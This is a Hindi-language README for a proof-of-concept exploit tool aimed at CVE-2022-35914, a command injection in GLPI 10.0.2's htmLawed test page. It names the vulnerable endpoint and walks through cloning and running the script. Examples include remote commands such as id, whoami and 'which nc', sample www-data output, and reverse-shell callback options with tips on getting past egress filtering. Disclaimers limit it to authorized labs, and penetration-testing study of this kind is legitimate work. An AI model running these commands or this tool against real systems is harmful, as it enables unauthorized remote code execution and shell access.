
CVE-2022-35914 के लिए PoC एक्सप्लॉइट — GLPI v.10.0.2 htmLawed कमांड इंजेक्शन, कमांड निष्पादन, और रिवर्स शेल समर्थन।
CVE-2022-35914 के लिए PoC — संवेदनशील GLPI इंस्टॉलेशन में htmLawed परीक्षण घटक से संबंधित एक कमांड-इंजेक्शन भेद्यता।
यह टूल संवेदनशील एंडपॉइंट के माध्यम से कमांड निष्पादन प्रदान करता है, और अधिकृत लैब वातावरण के लिए वैकल्पिक कॉलबैक कार्यक्षमता भी शामिल करता है।
अस्वीकरण: यह प्रोजेक्ट केवल अधिकृत सुरक्षा परीक्षण, CTF, OffSec/PG लैब और शैक्षिक उद्देश्यों के लिए है। बिना स्पष्ट प्राधिकरण के सिस्टम के विरुद्ध इसका उपयोग न करें।
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2022-35914 |
| सॉफ़्टवेयर | GLPI |
| घटक | htmLawed |
| संवेदनशील एंडपॉइंट | /vendor/htmlawed/htmlawed/htmLawedTest.php |
यह संवेदनशील घटक प्रभावित इंस्टॉलेशन पर विशेष रूप से निर्मित (crafted) पैरामीटरों के माध्यम से कमांड निष्पादन की अनुमति दे सकता है।
Python 3 और आवश्यक निर्भरताएँ।
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
रिपॉज़िटरी क्लोन करें:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
स्क्रिप्ट को निष्पादन योग्य बनाएँ:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
उदाहरण आउटपुट:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
-c विकल्प निष्पादित किए जाने वाले कमांड को निर्दिष्ट करता है।
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
-p / --rport विकल्प उस पोर्ट को निर्दिष्ट करता है जहाँ संवेदनशील GLPI वेब सेवा चल रही है।
डिफ़ॉल्ट:
80
उदाहरण:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
कमांड निष्पादित किए बिना यह सत्यापित करने के लिए कि htmLawed परीक्षण पृष्ठ उपलब्ध है, --check का उपयोग करें:
python3 glpi.py -u TARGET_IP --check
कस्टम HTTP User-Agent इस प्रकार प्रदान किया जा सकता है:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
स्क्रिप्ट वैकल्पिक कॉलबैक पैरामीटर का समर्थन करती है:
-l Callback/listener IP
-lp Callback/listener port
उदाहरण:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
इस उदाहरण में:
Target: TARGET_IP:80
Callback: LHOST:80
दोनों पोर्ट के अलग-अलग उद्देश्य हैं:
-p = Target GLPI HTTP port
-lp = Callback/listener port
OffSec लैब वातावरण में परीक्षण के दौरान, कॉलबैक TCP पोर्ट 80 पर सफलतापूर्वक कार्य करता था।
लैब नेटवर्क और एग्रेस फ़िल्टरिंग के आधार पर, 4444 जैसे अन्य कॉलबैक पोर्ट टाइमआउट हो सकते हैं।
परीक्षण किए गए वातावरण के लिए:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
लिसनर को Kali VPN इंटरफ़ेस पर TCP पोर्ट 80 का उपयोग करके कॉन्फ़िगर किया गया था।
महत्वपूर्ण: कॉलबैक के लिए पोर्ट 80 का उपयोग एक वातावरण-विशिष्ट अवलोकन है। यह CVE-2022-35914 की आवश्यकता नहीं है।
पहले कमांड निष्पादन सत्यापित करें:
python3 glpi.py -u TARGET_IP -c 'id'
जाँच करें कि आवश्यक उपयोगिताएँ मौजूद हैं:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
यदि कमांड निष्पादन कार्य करता है लेकिन कॉलबैक टाइमआउट हो जाता है, तो VPN रूटिंग और कॉलबैक पोर्ट की जाँच करें।
यदि कमांड-आउटपुट पार्सिंग विफल हो जाती है, तो पूर्ण HTTP प्रतिक्रिया इसमें सहेजी जाती है:
/tmp/glpi.html
इसे इसके साथ निरीक्षण करें:
less /tmp/glpi.html
या:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
परीक्षण किए गए OffSec लैब वातावरण के लिए:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
यह प्रोजेक्ट केवल शैक्षिक और अधिकृत सुरक्षा-परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
इस सॉफ़्टवेयर से जुड़े किसी भी दुरुपयोग, क्षति, अनधिकृत पहुँच या अवैध गतिविधि के लिए लेखक ज़िम्मेदार नहीं है।
किसी सिस्टम का परीक्षण करने से पहले हमेशा स्पष्ट प्राधिकरण प्राप्त करें।
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 by cyb3rk0ala
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|
-u, --url | टार्गेट URL या IP पता | आवश्यक |
-c, --cmd | निष्पादित करने हेतु कमांड | id |
--check | कमांड निष्पादित किए बिना टार्गेट की जाँच करें | अक्षम |
--user-agent | कस्टम HTTP User-Agent | डिफ़ॉल्ट |
-p, --rport | टार्गेट HTTP सेवा पोर्ट | 80 |
-l, --lhost | कॉलबैक/लिसनर IP पता | — |
-lp, --lport | कॉलबैक/लिसनर पोर्ट | — |